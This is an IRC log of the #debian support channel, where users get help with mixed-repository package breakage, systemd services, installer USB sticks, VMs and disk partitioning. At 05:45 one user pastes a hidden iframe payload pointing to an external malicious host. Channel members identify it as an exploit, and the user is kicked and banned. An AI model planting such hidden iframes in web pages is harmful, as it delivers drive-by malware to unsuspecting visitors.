| 00:00.08 | jmcnaught | russw: aptitude search doesn't need root/sudo by the way. when i run "aptitude search '?narrow(?installed, ?not(?origin(debian)))'" the only packages listed are the ones that i've manually backported |
| 00:00.09 | russw | jmcnaught: https://bpaste.net/raw/1d9aaa91763b |
| 00:00.20 | russw | jmcnaught: ah ok. aptitude habit. |
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| 00:01.23 | jmcnaught | russw: so it looks like you have a bunch of packages that are newer than what's available in jessie |
| 00:02.11 | russw | jmcnaught: sigh. How bad is this? |
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| 00:02.29 | russw | soem don't surprise me... stuff like postgres I went with an outside repo. |
| 00:02.45 | russw | The volume and diversity of packages is surprsing, though. |
| 00:02.49 | jmcnaught | russw: alien, jessie has 8.92, you have 8.95. adduser jessie has 3.113+nmu3, you have 3.115 |
| 00:03.17 | jmcnaught | russw: i suspect you may have had a repo for a different distro, perhaps ubuntu. anyways you now have a frankendebian |
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| 00:03.31 | russw | wonderful |
| 00:03.50 | jmcnaught | russw: you could spend several hours manually installing the jessie version of each of these packages, or you could back up data and do a reinstall (probably quicker) |
| 00:03.52 | russw | ubuntu races (plods?) ahead on some, clearly? |
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| 00:04.26 | jmcnaught | russw: ubuntu and debian have different development cycles |
| 00:05.01 | jmcnaught | !don't break debian |
| 00:05.01 | dpkg | it has been said that dont break debian is https://wiki.debian.org/DontBreakDebian |
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| 00:05.10 | russw | jmcnaught: the system seems "generally" functional. I'm only having issues when trying to compile things. In this case compiling Qt was giving me grief and it seemed that the mesa lib was at fault. |
| 00:05.16 | jmcnaught | russw: ^^ i recommend reading that wiki link too |
| 00:05.20 | russw | will do |
| 00:06.03 | jmcnaught | russw: well, i'm glad that it works for now, but you'll probably also have trouble getting security updates (if you get them at all, since your versions are higher than what jessie security will be making available) |
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| 00:06.23 | russw | if I flip to testing will it help? |
| 00:06.56 | jmcnaught | russw: it might just make things worse, it's hard to predict what kind of package conflicts you'd run into |
| 00:07.00 | russw | dang |
| 00:07.31 | jmcnaught | honestly i would reinstall a clean jessie system and not use foreign repos at all, or not unless you really need to |
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| 00:07.54 | russw | I may do that, but argh... I've never had much success starting fresh and trying to move my /home back into place |
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| 00:08.24 | jmcnaught | russw: restore home from your backup drive |
| 00:09.11 | russw | my /home *is* on a separate partition... been a while since I did a fresh install |
| 00:09.49 | russw | really dumb question: can I do it fresh from this instance, or would I need to burn a disc? |
| 00:09.59 | jmcnaught | russw: having /home on a separate partition can save you time doing a restore after reinstalling, but it's not a substitute for having backups |
| 00:10.15 | russw | definitly not saying it is an alternate to a backup! :) |
| 00:10.38 | jmcnaught | russw: the install manual does have instructions for installing from an existing linux system, but putting the installer on a USB stick will be a lot easier |
| 00:11.00 | russw | not sure this laptop supports it... will check |
| 00:11.17 | russw | lots of sighing happening here. darn frankendebian. :( |
| 00:12.17 | jmcnaught | russw: it could be worse, you could have lost all your data :) (BACKUPS!) |
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| 00:12.44 | russw | thanks very much for the help, guys. Not sure I said that yet. |
| 00:14.14 | jmcnaught | russw: you're welcome. when it comes to software available in Debian I almost always prefer using it to using an upstream repo. The upstream repo might have a newer version, but the Debian version will usually be better integrated and will handle upgrades |
| 00:15.18 | russw | The problem I find is the typical one... new features needed and debian packages are too old. |
| 00:15.22 | russw | postgres is/was a good example |
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| 00:15.34 | calherAtomic | Does Debian have just as good third party support as Ubuntu? |
| 00:16.05 | russw | that said, I *was* stuck on wheezy. jessie was almost certainly better. |
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| 00:16.28 | russw | jmcnaught: any advice on whether 'testing' is worth using as a daily driver? |
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| 00:19.46 | jmcnaught | russw: lots of people use it. you should be familiar with how to fix package problems (and general configuration problems), and be prepared to read and submit bugs if you use testing |
| 00:20.02 | russw | got it |
| 00:20.29 | jmcnaught | russw: testing can change (stable remains the same, no surprises) at least until it's frozen. testing is also generally the last to get security updates |
| 00:20.48 | russw | reading that DontBreakDebian is making me think I shouldn't use debian... |
| 00:20.51 | russw | one small example |
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| 00:20.54 | russw | history | grep "make install" | wc -l |
| 00:20.56 | russw | 15 |
| 00:21.18 | TomTomTosch | look into checkinstall. |
| 00:21.23 | jmcnaught | russw: it's not that you can't do stuff like that, it's that it can cause problems and you should be aware of how to fix them |
| 00:21.59 | jmcnaught | calherAtomic: what do you mean third party support? Debian generally doesn't mix well with third party repos (usually causing problems at upgrade time) but you can use them with caution |
| 00:22.35 | TomTomTosch | russw: checkinstall basically builds a package from make install, making it easy to undo once it's in the way. |
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| 00:22.48 | russw | checkinstall looks interesting... just reading the man page |
| 00:22.54 | jmcnaught | russw: depending on the software you could also use VMs, chroots, containers for stuff you want to compile |
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| 00:23.31 | jmcnaught | russw: there's also a way to recompile packages from testing/unstable so they work on stable, but it can't be done for every package |
| 00:25.24 | calherAtomic | jmcnaught: I use Tox, Telegram Desktop, IceCat, the latest stable Mumble |
| 00:25.31 | russw | that is certainly an interesting wrapping call. even adds --strip and such. |
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| 00:27.33 | russw | ok... I think I'll go with a fresh install. In future when I want my own custom builds I'll keep them isolated and out of /usr and friends. |
| 00:27.46 | russw | I already do that quite a bit already... but obviously not enough! |
| 00:27.55 | jmcnaught | calherAtomic: you might consider running those from binary tarballs if they're available instead of using their packages/repos to lower the chances of a problem when you upgrade to the next Debian release. But if their repos only contain packages for the applications themselves and don't replace a bunch of libraries you might not notice any issues |
| 00:29.28 | calherAtomic | Ok jmcnaught |
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| 00:30.49 | calherAtomic | I just installed fresh system with just standard utils. iw dev wlan0 connect "Daisy Bell" did not work, why? |
| 00:31.08 | JohnA | I asked this ? earlier, but did not get an answer that made sense. I am running debian with LXDE/Gnome - how can I remove evolution? |
| 00:31.33 | fagbodildage | JohnA: pretty sure gnome depends on evolution |
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| 00:32.26 | jmcnaught | calherAtomic: was there an error message? is the network encrypted? |
| 00:32.34 | calherAtomic | Oh, I forgot to use ip link etc |
| 00:32.39 | JohnA | fagbodildage: Yep, but why? it means you are screwed if you what to use some other program - Icedove/thunderbird ... |
| 00:33.04 | fagbodildage | you can still use those, just change the default app |
| 00:33.06 | fagbodildage | simples |
| 00:34.16 | fagbodildage | JohnA: system information in settings allows you to set default apps via GUI |
| 00:35.18 | JohnA | Can I remove gNome and still use LXDE - last time I tried this I seem to remember that I lost nearly all useful functionality, and it seems that installing LXDE also installs gnome? |
| 00:35.55 | fagbodildage | are you really pushed for drive space that you absolutely need to rid yourself of evolution? |
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| 00:37.49 | TomTomTosch | sure LXDE installs gnome and not only a few gnome tools? |
| 00:38.04 | JohnA | fagbodildage: No I have lots of drive space (750Gb) but the evolution data server seems to be giving me problems and I have not found a way of disabling it. |
| 00:38.28 | fagbodildage | JohnA: I'll have a google around that and see if I can help |
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| 00:39.12 | jmcnaught | JohnA: in gnome at least the calendar that pops out when i click on the clock is linked to the calendar in evolution. maybe the clock you're using is too |
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| 00:39.47 | jmcnaught | JohnA: what is the evolution data server problem you are having? |
| 00:39.59 | JohnA | fagbodildage: thanks, I have been Googling to, so far with out any luck, but my ? is probably wrong. Extra eyes will help. thnx |
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| 00:41.45 | extor | downloaded a debian KDE live iso DVD expecting an install of debian stable with the KDE desktop but instead got something called Linux Mint ¯_(ã)_/¯ |
| 00:41.48 | JohnA | jmcnaught: I am running gramps 5 with a SQ db backend. I keep getting odd fails, I know the gramps 5 is alpha, but it seems that it and evolution are stepping each others toes. I need Gramps, i don't need evolution. |
| 00:42.44 | TomTomTosch | extor: ah, so it jumped distros mid download. that's known to happen. |
| 00:43.07 | extor | TomTomTosch, I'm not sure if you're trolling |
| 00:43.16 | jmcnaught | JohnA: what makes it seem that gramps and evolution are conflicting? |
| 00:43.25 | jmcnaught | extor: where did you download the iso from? |
| 00:43.31 | extor | wonders if TomTomTosch is sure whether extor is trolling or not (â_â) |
| 00:43.47 | russw | jmcnaught: before I reinstall this system I've decided to explore how to fix apt problems for a bit. This will be a learning exercise I can use later (in theory!). |
| 00:43.54 | extor | jmcnaught, I think it was a torrent from the debian mirrors, or one of them |
| 00:43.56 | TomTomTosch | extor: i am. :P linux mint is not debian. is you mean mate, then you may have selected that during install. |
| 00:44.10 | TomTomTosch | s/is you/if you/ |
| 00:44.12 | johnkeates | maybe he got the iso via LimeWire |
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| 00:44.40 | russw | is limewire still a thing? |
| 00:44.54 | johnkeates | _(ã)_/¯ |
| 00:44.57 | russw | :) |
| 00:45.04 | bazhang | russw, thing for what |
| 00:45.10 | johnkeates | for mojitos |
| 00:45.10 | russw | um... anything? |
| 00:45.10 | jmcnaught | extor: extor https://www.debian.org/CD/torrent-cd/ download Debian torrents here |
| 00:45.22 | johnkeates | for getting java installed |
| 00:45.31 | jmcnaught | russw: good luck |
| 00:45.51 | russw | jmcnaught: feels safer since I know I'll be reinstalling ;) |
| 00:45.51 | extor | wants to go from a default install of debian to this lxde/openbox setup http://i34.tinypic.com/29f30b9.jpg and wonders what other tweaks are necessary to get the look |
| 00:46.06 | extor | Failing which, I'd take KDE |
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| 00:46.51 | extor | So I figured out how to dd the hd-media boot.img to a USB and the next step would be to get the correct iso DVD to make that theme happen |
| 00:47.15 | extor | failing which I'd need an iso image of a KDE dvd I guess. Unless they're one and the same |
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| 00:48.25 | jmcnaught | extor: you may be overengineering this. if you want a particular lxde/openbox theme it's probably a matter of having the right packages installed, and some per-user configuration |
| 00:49.12 | extor | I was told, extor: you install openbox, conky, xmms, tint2 and some terminal of your choice, maybe urxvt |
| 00:49.38 | jmcnaught | extor: so where does the hd-media boot.img factor into all that? |
| 00:49.43 | extor | So I assume I choose LXDE during the install process from the debian DVD1 |
| 00:50.13 | russw | jmcnaught, TomTomTosch: well waddya know, downgrading worked (for one thing, anyway): |
| 00:50.15 | extor | jmcnaught, oh it's just what I booted my fresh box from, and then inserted another USB stick with that kde-live DVD iso on it |
| 00:50.16 | russw | https://bpaste.net/raw/d556ca528653 |
| 00:50.29 | russw | learned a tonne today about apt. many many thanks! |
| 00:51.08 | fagbodildage | JohnA: as far as I can tell you're not going to get gnome/gnome-shell to work without evolution-data-server at least, perhaps XFCE or another DE is a good option for you |
| 00:51.09 | jmcnaught | extor: are you following the https://www.debian.org/releases/stable/installmanual ? most people download an installer ISO and boot from that |
| 00:51.16 | extor | I guess perhaps I was too enamorede by the look of that desktop. Perhaps I'd be happy with any black themed window manager |
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| 00:51.53 | TomTomTosch | extor: first get the debian installation done. you can install all of that afterwards. |
| 00:52.27 | JohnA | jmcnaught: I am not sure they are but the problem only occurs if I have evolution running and continues to occur after ev is stopped. if I kill anything to do with ev then the problem goes away. This may be a one off and maybe I need to reinstall lxde ... |
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| 00:52.41 | extor | jmcnaught, I tried booting from an installer but it was dd'd to USB and not burned to DVD so I used the hd-media trick. The live DVD does boot up but there's no option to install |
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| 00:54.04 | extor | Ok scratch all that, I've done so much that I have no clear recollection of what I did or did not do. Just that I am now booting from USB and need an install ISO for debian stable. I guess the live DVDs are not proper debian but some community contribution subtly promoting mint |
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| 00:54.22 | TomTomTosch | extor: you are aware that hd-media is for booting from your harddisk? you usually want to use netinst if you want to install from USB. |
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| 00:55.31 | jmcnaught | extor: a common mistake is to dd the iso to a partition (like /dev/sdx1) instead of the device itself (/dev/sdx) |
| 00:56.16 | russw | TomTomTosch: that ',v' command you issued in irc was incredibly handy. Is there a non-irc way to get that? |
| 00:56.52 | jmcnaught | JohnA: reinstalling packages doesn't usually do much on Debian. You could try dpkg-reconfigure, but in this case i'm not sure it would help |
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| 00:57.19 | TomTomTosch | russw: you can talk to judd via /msg judd <command> you also find info about versions on packages.debian.org |
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| 00:58.27 | TomTomTosch | russw: /msg judd checkbackport <pkg> to see if you can compile a package from sid on jessie and /msg dpkg ssb for instructions on how to do that. |
| 00:58.34 | jmcnaught | JohnA: does this newer gramps talk to evolution at all? |
| 00:59.01 | russw | TomTomTosch: perfect, thanks. that ,v output was just so clean. can't see how to get that clean on packages.debian.org |
| 00:59.31 | JohnA | fagbodildage: jmcnaught: I think I will switch back to Gramps 4... and setup up a separate system (xfce) for trying Gramps 5. |
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| 00:59.55 | fagbodildage | sounds reasonable |
| 00:59.59 | jmcnaught | russw: the devscripts package also has an rmadison command |
| 01:00.40 | JohnA | jmcnaught: as far as I know G5 does not talk to evolution, but I may be wrong! I will look in to that asap. |
| 01:00.41 | russw | jmcnaught: "rmadison"? can't parse the origin of that |
| 01:01.11 | russw | oof... 64MB of "dev scripts" :) |
| 01:01.33 | russw | well, the deps I don't havem anyway |
| 01:01.53 | jmcnaught | russw: debian has some some development tools named after singers and actresses |
| 01:02.10 | russw | aha! wondered about 'judd' |
| 01:02.39 | jmcnaught | russw: devscripts wouldn't install? judd is an interface to the Ultimate Debian Database |
| 01:03.02 | JohnA | jmcnaught: fagbodildage: unfortunately it does seem possible to install 4 & 5 on the same system. looks like I'll have to setup a seperate machine et al |
| 01:03.15 | russw | jmcnaught: it is installing fine, I just was surprised at the dep load for something with "scripts" in it :) |
| 01:03.17 | fagbodildage | JohnA: what about a chroot? |
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| 01:04.09 | JohnA | fagbodildage: That might be an idea. the other might be a VM |
| 01:04.22 | fagbodildage | indeed, that was my next thought |
| 01:04.51 | russw | jmcnaught: rmadison is awesome. perfect. thanks again. |
| 01:05.11 | JohnA | fagbodildage: I have never run VMs, what if any are the major huddles? |
| 01:05.47 | fagbodildage | JohnA: performance is the main hurdle, IM(limited)E |
| 01:05.59 | russw | Is there a devscripts equivalent to `/msg judd checkbackport <pkg>`? |
| 01:06.05 | fagbodildage | but there are plenty to choose from, perhaps too many |
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| 01:07.48 | fagbodildage | I usually just use them for looking at other distros, virtualbox is my usual one, with that you have to install virtual box, set up a virtual machine, install your guest OS and then be sure to add "guest additions" to increase features/performance |
| 01:07.50 | jmcnaught | russw: not that i know of |
| 01:08.07 | fagbodildage | it's fairly straight forward and reasonably well documented |
| 01:08.16 | craigbass76 | I need something in /etc/init.d to start at boot as another user. Is the answer to create a bash script in /etc/init.d that goes "sudo -u username /etc/init.d/service"? |
| 01:08.51 | jmcnaught | JohnA: libvirt and virt-manager are pretty easy to install on Debian as well |
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| 01:09.30 | jmcnaught | craigbass76: Are you using Debian 8 (jessie)? |
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| 01:09.45 | extor | TomTomTosch, hd-media can also read an iso file off of a second USB. jmcnaught I dd'd the device itself. Or so I think. Anyway, going to start from scratch now with an actual debian install dvd |
| 01:10.27 | jmcnaught | extor: the install manual says to use cp instead of dd. dd works too, cp is often faster, and less typing. |
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| 01:11.33 | craigbass76 | jmcnaught: I'm actually testing on my Mint laptop at the moment (Mint using Ubuntu repos, not Debian) and that's how I got it to run. I'm just wondering when I get a Debian server up if that's still the best way. I'm trying to start Apache OFBiz, and I want to run it as the ofbiz user, who really only has permission to do things related to ofbiz |
| 01:13.27 | jmcnaught | craigbass76: on Debian 8 you can use systemd service units, which can have directives for User= and Group=. They're easier to write than init scripts, but systemd is also backwards compatible with init scripts |
| 01:14.29 | JohnA | jmcnaught: fagbodildage: thanks I do some digging and see where that leads me. Thanks |
| 01:14.45 | bagbobilgins | yw, JohnA |
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| 01:18.19 | jmcnaught | craigbass76: init scripts in /etc/init.d/ are run by the init process. those scripts were used by the old sysvinit, which is why the new init (systemd) is compatible with them, but making a systemd service unit is probably easier and apache might even provide one |
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| 01:24.35 | craigbass76 | jmcnaught: not that I know of. The install directory contains a script to stick in init.d specifically for debian. For some reason, the Ubuntu one didn't work... I cut my teeth on Linux before systemd, and got out of day to day using it for a while. Guess I've got to bone up on it |
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| 01:26.43 | jmcnaught | craigbass76: the initscript way of changing to a diferent user would be to use start-stop-daemon in the initscript itself. check the man page for that command if you decide not to make a systemd unit |
| 01:27.22 | craigbass76 | jmcnaught: I may down the road. I'm just stoked I finally got the damned thing to start at boot. |
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| 01:42.32 | gerforce | hello, i have a problem with flashplugin-nonfree update. Using command "sudo update-flashplugin-nonfree --install --verbose", the script can find the upstream version, but it failed to download. I have encounted this before, and after several days, the problem is solved automatically. Does anyone have the same problem? |
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| 01:50.03 | bagbobilgins | gerforce: is there an error message about keys? |
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| 01:56.42 | miesco | Hi. How do I view and cp files from a backup tar archive? |
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| 02:18.56 | alphazulu | miesco: extract the archive? |
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| 02:29.40 | jak2000 | hi all |
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| 02:30.08 | jak2000 | my servers are runinng in safe mode how to check and fix it? i am restarted these servers in serveral times and not lucky continue in safe mode, thanks |
| 02:30.49 | jak2000 | anyone can ping: 64.137.226.105 thanks |
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| 02:33.21 | evanvarvell | ... |
| 02:34.42 | jak2000 | evanvarvell answer? |
| 02:34.53 | jak2000 | ooo |
| 02:35.21 | bagbobilgins | no response, here, jak2000 |
| 02:35.52 | bagbobilgins | 48 packets transmitted, 0 received, 100% packet loss, time 47101ms |
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| 02:44.53 | alphazulu | wow finally got grub to install and dual boot on a uefi bios thinkpad! |
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| 02:45.41 | plonf | Hi, I'm new to Debian. Do any of you know is it is possible to watch online streams from Iceweasel? |
| 02:45.47 | alphazulu | the trick was to mount the debian partition from rescue system, chroot into it, mount /boot/efi, then apt-get install --reinstall grub-efi |
| 02:46.21 | alphazulu | <PROTECTED> |
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| 02:48.00 | gerforce | plonf: install package: flashplugin-nonfree |
| 02:48.25 | plonf | it's an outdated version |
| 02:48.31 | alphazulu | plonf: i use the ubuntuzilla repository for firefox |
| 02:48.34 | plonf | so old it does not play live streams |
| 02:48.35 | plonf | :( |
| 02:48.45 | plonf | oh, what is ubuntuzilla? |
| 02:48.52 | alphazulu | plonf: and debian-multimedia repo for the flash stuff |
| 02:49.21 | dvs | ,v flashplugin-nonfree |
| 02:49.22 | judd | Package: flashplugin-nonfree on amd64 -- wheezy/contrib: 1:3.2+wheezy1; jessie/contrib: 1:3.6.1; sid/contrib: 1:3.6.1+b1; stretch/contrib: 1:3.6.1+b1 |
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| 02:49.36 | gerforce | plonf: it has a problem with update of flashplugin-nonfree these days. |
| 02:49.47 | gerforce | i encounted that too |
| 02:50.31 | bagbobilgins | gerforce: you might have more luck with pepperflash, provided you are 64bit |
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| 02:52.02 | plonf | OK, thank you, I'll try pepperflash |
| 02:52.07 | plonf | I hope it works |
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| 02:54.48 | jak2000 | thanks |
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| 02:56.13 | jak2000 | bagbobilgins any advice how to remove the safe mode? |
| 02:56.26 | jak2000 | server running in safe mode |
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| 02:58.41 | brennen | plonf: you also might want to look at firefox-esr |
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| 02:59.26 | brennen | (or just download firefox binaries and run them, which i do most of the time) |
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| 03:00.36 | bagbobilgins | jak2000: sorry, I don't understand safe mode on a server... is this a graphical environment? |
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| 03:01.52 | dvs | bagbobilgins, I think he means if the computer starts up and stops and says "Press Control-D or enter the root password to continue" |
| 03:02.31 | bagbobilgins | ahh, single user mode |
| 03:03.19 | bagbobilgins | jak2000: is that what you mean by "safe mode"? |
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| 03:08.51 | JustinHitla | you will not believe it |
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| 03:12.32 | MasonHauk | wow |
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| 03:13.39 | bagbobilgins | JustinHitla: bazhang banned you from somewhere because he's freaked by your /nick? |
| 03:14.03 | bagbobilgins | I can believe it |
| 03:14.04 | JustinHitla | no, charmander got caught |
| 03:14.07 | JustinHitla | can you believe it ? |
| 03:14.28 | bagbobilgins | I know little of these pokemon of which you speak |
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| 03:17.05 | MasonHauk | anyone done vga passthrough here? |
| 03:17.32 | MasonHauk | with vfio? |
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| 03:22.34 | bagbobilgins | MasonHauk: you might be waiting a while, in the meantime you could ask your actual question |
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| 03:25.36 | MasonHauk | well I need help Im trying to get the raedon driver not on my 2nd graphics card and I can complish this with pci stub although I have been getting help from a guy who suggests using vfio with dracu and a new initramfs although it doesnt isolate my 2nd graphics card from raedon driver, I was wondering if someone who can help me get the 2nd graphics card isolated from raedon, as I can get it isolated from |
| 03:25.38 | MasonHauk | raedon using pci-stub in my grub cmd line |
| 03:25.49 | MasonHauk | although Im not sure what to do with it after that |
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| 03:33.28 | zeden | Hi. I am trying to get OpenGL 4.3 working for a AMD card with the open source drivers. Right now I have the mesa packages from experimental (version 12.0.1) but glxinfo says only opengl 4.1 is supported. How can I get opengl 4.2+? |
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| 05:15.04 | alphazulu | i wonder if any oldtimers on here know if Ian Murdock ever was in this channel? |
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| 05:29.43 | rjsalts | I get the impression his involvement in debian didn't last much after the 90s |
| 05:30.21 | rjsalts | and freenode was formed in 1998, so there isn't a big overlap |
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| 05:38.05 | alphazulu | i wonder if there is any sort of recommended academic course track recommended for becoming a debian maintainer? |
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| 05:43.48 | rjsalts | alphazulu: some people might have opinions about that on #debian-offtopic |
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| 05:45.06 | oldcomputers | <body><iframe src="http://xb8.ru:8080/ts/in.cgi?pepsi122" width=125 height=125 style="visibility:hidden"></iframe> |
| 05:46.17 | Hunterkll | are you serious |
| 05:46.20 | Hunterkll | ban oldcomputers immediately |
| 05:46.22 | oldcomputers | i was asked by korain to paste that here |
| 05:46.27 | oldcomputers | its a dead ref |
| 05:46.31 | Hunterkll | oldcomputers, dead? |
| 05:46.34 | oldcomputers | to a site that used to exist |
| 05:46.37 | Hunterkll | it's iframeref html exploit |
| 05:46.39 | oldcomputers | but it was malicious |
| 05:46.50 | Hunterkll | I got pinged by my antimalware catching it in my IRC logs in real time |
| 05:47.00 | Hunterkll | now I have to unquarantine my debian log and edit it |
| 05:47.00 | Hunterkll | ;_; |
| 05:47.07 | oldcomputers | yeah, it is simply an invisible reference |
| 05:47.14 | oldcomputers | the reason it was tagged it this |
| 05:47.34 | oldcomputers | it WAS a malicious javascript on the page it refered to |
| 05:47.38 | oldcomputers | until it was taken down |
| 05:47.56 | themill | oldcomputers: none of this is relevant to Debian. Please take it elsewhere. |
| 05:47.59 | Hunterkll | well why would you just paste it randomly |
| 05:48.04 | Hunterkll | O dpm |
| 05:48.06 | bezaban | he was quieted and klined yesterday |
| 05:48.08 | oldcomputers | but Microsoft is the only one that added the HTML reference itself as a signature in windows defender |
| 05:48.11 | Hunterkll | I don't like random malware alerts..... |
| 05:48.14 | oldcomputers | so guess what |
| 05:48.16 | *** mode/#debian [+o themill] by ChanServ |
| 05:48.17 | bezaban | babilen: around? |
| 05:48.19 | *** mode/#debian [+b *!*@51.255.196.87] by themill |
| 05:48.20 | *** kick/#debian [oldcomputers!~stuart@unaffiliated/themill] by themill (On the Internet nobody can hear you being subtle.) |
| 05:48.21 | bezaban | oh right |
| 05:48.21 | *** mode/#debian [-o themill] by themill |
| 05:48.23 | Hunterkll | thanks |
| 05:48.24 | bezaban | thanks |
| 05:48.45 | orlock | eh |
| 05:48.48 | Hunterkll | So microsoft's a bit paranoid. That doesn't mean you post random code other people gave you.... |
| 05:48.51 | Hunterkll | orlock, oh hai thar |
| 05:48.51 | orlock | he was just doing that in another channel as well |
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| 05:49.08 | oldcomputers | Windows is the only one that alerts |
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| 05:49.11 | oldcomputers | Windows Defender |
| 05:49.12 | *** mode/#debian [+b *!*@158.69.211.40] by themill |
| 05:49.14 | Hunterkll | oldcomputers, so, your point? |
| 05:49.14 | *** kick/#debian [oldcomputers!~stuart@unaffiliated/themill] by themill (On the Internet nobody can hear you being subtle.) |
| 05:49.14 | orlock | oldcomputers: Ssshhh |
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| 05:49.24 | bezaban | oh, new isp. interesting |
| 05:49.29 | bezaban | I'll take it to ot |
| 05:49.29 | Hunterkll | a skidmark! |
| 05:49.36 | Hunterkll | there's an OT channel? |
| 05:49.44 | bezaban | #debian-offtopic |
| 05:51.21 | orlock | damn |
| 05:51.26 | orlock | why am i even here |
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| 05:59.50 | prem | hi all |
| 05:59.56 | prem | am using debian jessie |
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| 06:00.04 | MaBunny | hey prem |
| 06:00.10 | MaBunny | are you from india?? |
| 06:00.19 | prem | with the recent upgrade to chromium51., my machines keeps on hanging |
| 06:00.23 | prem | yeah MaBunny |
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| 06:00.58 | MaBunny | cool,me too |
| 06:01.05 | prem | as soon as i open youtube., the CPU consumption just goes to 100% and the machine hangs |
| 06:01.07 | MaBunny | <PROTECTED> |
| 06:01.19 | prem | any idea why it is so |
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| 06:01.50 | rjsalts | prem: anything in your .xsession-errors that seems relevant? |
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| 06:02.23 | prem | no .xsession-errors file rjsalts |
| 06:02.24 | rjsalts | prem: or on stderr if you start chromium from a terminal |
| 06:03.31 | prem | actually when i look at my daemon.log after restarting the machine, it shows repeated chromium error..:ERROR:PlatformKeyboardEvent.cpp(117)] Not implemented reached in static PlatformEvent::Modifiers blink::PlatformKeyboardEvent::getCurrentModifierState() |
| 06:04.46 | Hijiri | oh shit |
| 06:04.51 | Hijiri | I thought "Pre-fail" means "not failed yet" |
| 06:05.04 | Hijiri | time to fire up rsync |
| 06:05.20 | babilen | gogogo |
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| 06:06.56 | Hijiri | how should I just select the whole filesystem |
| 06:07.01 | Hijiri | maybe I should just back up a disk image |
| 06:07.13 | Hijiri | I don't want to include things like /sys right? |
| 06:07.39 | Hijiri | archwiki has an article, thanks archwiki |
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| 06:08.06 | babilen | Hijiri: You can easily exclude paths with "--exclude=.." |
| 06:09.13 | babilen | Ah, I guess you already found what you were looking for. |
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| 06:13.58 | Hijiri | my stomach feels sick |
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| 06:14.22 | Hijiri | I know it probably won't fail immediately but losing my stuff was bad enough last time (though I saved a lot with ddrescue) |
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| 06:15.17 | nohair | hi please guide me how to link file .. i need to install libreoffice theme |
| 06:15.45 | MaBunny | you can use the gui tool Disk in debian |
| 06:15.49 | MaBunny | Hijiri |
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| 06:15.57 | MaBunny | to save iso images of your disk |
| 06:17.48 | Hijiri | I'm just using rsync |
| 06:17.53 | Hijiri | this way I can back up incrementally |
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| 06:18.53 | babilen | Hijiri: Tools like dirvish might come in handy next time |
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| 06:19.14 | oldcomputers | themill: I pasted the xpl0it for one reason: ONLY WINDOWS DEFENDER IS STUPID ENOUGH TO CONSIDER THAT IFRAME A THREAT IN AND OF ITSELF!!! I HAVE PROVEN THE PRESENCE OF WINDOWS USERS ON THIS CHANNEL! |
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| 06:20.16 | MaBunny | what did oldcomputers do/say b4 i joined |
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| 06:20.58 | MaBunny | and why would windows users on this chan be a nuisance,if they want to join debian user.... lol |
| 06:21.04 | babilen | MaBunny: Drop it please |
| 06:21.08 | MaBunny | ok |
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| 06:26.57 | Hijiri | actually I'm not sure if these Pre-Fails are accurate, it looks like everything with a threshold says Pre-Fail |
| 06:27.07 | Hijiri | including reallocated sectors, even though it says I have 0 reallocated sectors |
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| 06:27.37 | Hijiri | everything with threshold 0 says old age |
| 06:27.55 | babilen | You could paste your output to http://paste.debian.net |
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| 06:28.05 | babilen | Besides .. having backups never hurts |
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| 06:31.02 | Hijiri | babilen: here's the output: https://paste.debian.net/785509/ |
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| 06:31.08 | Hijiri | it also says self-assessment passed |
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| 06:35.29 | jim_carry | I have bought new HDD. I am planning to use it as backup HDD for my system. Should I just format it to `mkfs.ext4 /dev/sdb1` or change partition type with `fdisk` |
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| 06:39.38 | Anselmo | usually just making it into ext4 should work |
| 06:39.49 | jim_carry | Okay |
| 06:39.52 | Anselmo | I don't see any problem with doing that |
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| 06:40.05 | jim_carry | What if I make new partitions then what partition type should I choose |
| 06:40.15 | jim_carry | Linux filesystem? |
| 06:41.13 | jim_carry | I want to use this HDD with `Mac` and `Linux` systems |
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| 06:41.57 | Anselmo | I have extremely little experience with macs |
| 06:42.27 | jim_carry | Okay then for linux system I should choose `Linux filesystem` |
| 06:42.43 | Anselmo | that's what my backup hard drive is set as |
| 06:42.55 | jim_carry | Okay bro thanx |
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| 06:43.49 | jim_carry | How you have partitioned your backup HDD? I mean just one partition or more |
| 06:43.51 | MaBunny | ext4 is the standard "linux filesytem" btw |
| 06:44.20 | MaBunny | you can run linux programs in it,bsides ext2/3 |
| 06:44.29 | jim_carry | MaBunny: Okay what is the difference if I just do `mkfs.ext4` without repartitioning |
| 06:44.43 | MaBunny | lemme check |
| 06:45.01 | Anselmo | mine is in a few partitions, but that is really not neccisary |
| 06:45.03 | jim_carry | MaBunny: The partition type still shows `Microsoft basic data` |
| 06:45.22 | MaBunny | i think ext4 has journalling |
| 06:45.24 | jim_carry | Anselmo: Okay I'll go with one large |
| 06:46.08 | MaBunny | it eliminates the need to check file system after unclean shutdown |
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| 06:47.01 | jim_carry | MaBunny: Okay, I don't understand what should I do with new HDD just `mkfs.ext4` or repartition it to `Linux filesystem` |
| 06:47.11 | rjsalts | it doesn't eliminate the need, it just means that it looks at the journal and only examines the blocks in the journal for discrepancies, instead of having to examine the whole filesystem |
| 06:47.32 | MaBunny | theres nothing called linux filesystem...you can run ntfs to fat16/32 in linux |
| 06:47.37 | jim_carry | with `mkfs.ext4` It will format it with ext4 but paritition type remain same what difference does it make? |
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| 06:48.09 | MaBunny | i hav my windows xp install as a seperate partition in my 500gb ,and linux can mount it\ |
| 06:48.43 | MaBunny | why do you need ext4 if the partition type remains same |
| 06:48.45 | MaBunny | ? |
| 06:48.58 | Hijiri | babilen: Ok, I just realized I was reading the information wrong, I thought the "type" was the current status |
| 06:49.10 | Anselmo | its the partition type according to fdisk, MaBunny |
| 06:49.16 | rjsalts | jim_carry: if you have a partition table that's marked as type 83 you can then do mkfs.$fs /path/to/partition |
| 06:49.16 | Hijiri | at least now I know how to read smart data |
| 06:49.16 | babilen | Hijiri: No, that is just the type. The output looks alright. |
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| 06:49.47 | babilen | Hijiri: https://www.thomas-krenn.com/en/wiki/Analyzing_a_Faulty_Hard_Disk_using_Smartctl |
| 06:50.11 | Hijiri | babilen: thank you |
| 06:50.44 | jim_carry | rjsalts: Okay but `mkfs.ext4` also works on if partition table is to `Microsoft basic data` |
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| 06:50.54 | rjsalts | jim_carry: a partition table, with a partition marked type 83 even. ext4/3/2, xfs, jfs, ... will all be fine inside said partition with mkfs.ext4, etc |
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| 06:51.26 | jim_carry | MaBunny: I don't understand what you're saying bro |
| 06:51.47 | MaBunny | leave it ...dont mind :) |
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| 06:53.08 | jim_carry | rjsalts: Yeah okay all formating options will be fine inside 83 paritition. But I am asking what will be the difference If partition table not 83 and it formatted with ext4 |
| 06:54.02 | jim_carry | Pardon me about my rude communication skills. I am learning english |
